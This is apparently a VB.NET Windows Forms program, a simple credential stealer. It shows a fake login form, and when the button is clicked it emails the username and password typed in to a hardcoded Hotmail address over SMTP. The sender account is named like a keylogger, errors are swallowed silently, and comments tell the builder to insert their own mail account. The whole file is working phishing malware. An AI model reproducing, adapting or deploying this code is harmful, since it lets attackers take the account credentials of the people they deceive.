Imports System.Net.Mail
Public Class Form1
    Inherits System.Windows.Forms.Form

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        PictureBox1.Show()
        TextBox1.Show()
        TextBox2.Show()
        Button5.Show()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Dim Response As Integer
        Response = MsgBox("Are You Sure You Want To Close The Program?", vbYesNo, "Exit")
        If Response = vbYes Then
            End
        ElseIf Response = vbNo Then
            Me.Show()
        End If
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        Dim MyMailMessage As New MailMessage
        Try
            If TextBox1.Text & TextBox2.Text = "" Then
                Call MsgBox("Please Enter An Account Name and Password! Also make sure to enter a valid account.", , "Error!")
            End If
            MyMailMessage.From() = New MailAddress("pro.artist@hotmail.com") 'Replace The X's with your GMAIL Address
            MyMailMessage.To.Add("pro.artist@hotmail.com") 'Replace The X's with your GMAIL Address
            MyMailMessage.Subject = "Account Information"
            MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
            Dim SMTP As New SmtpClient("smtp.live.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("andrewbobkeylog@hotmail.com", "MYPASS") 'Replace the X's with your GMAIL Address, Replace the Y's with your GMAIL Password
            SMTP.Send(MyMailMessage)
        Catch ex As Exception
        End Try
    End Sub
End Class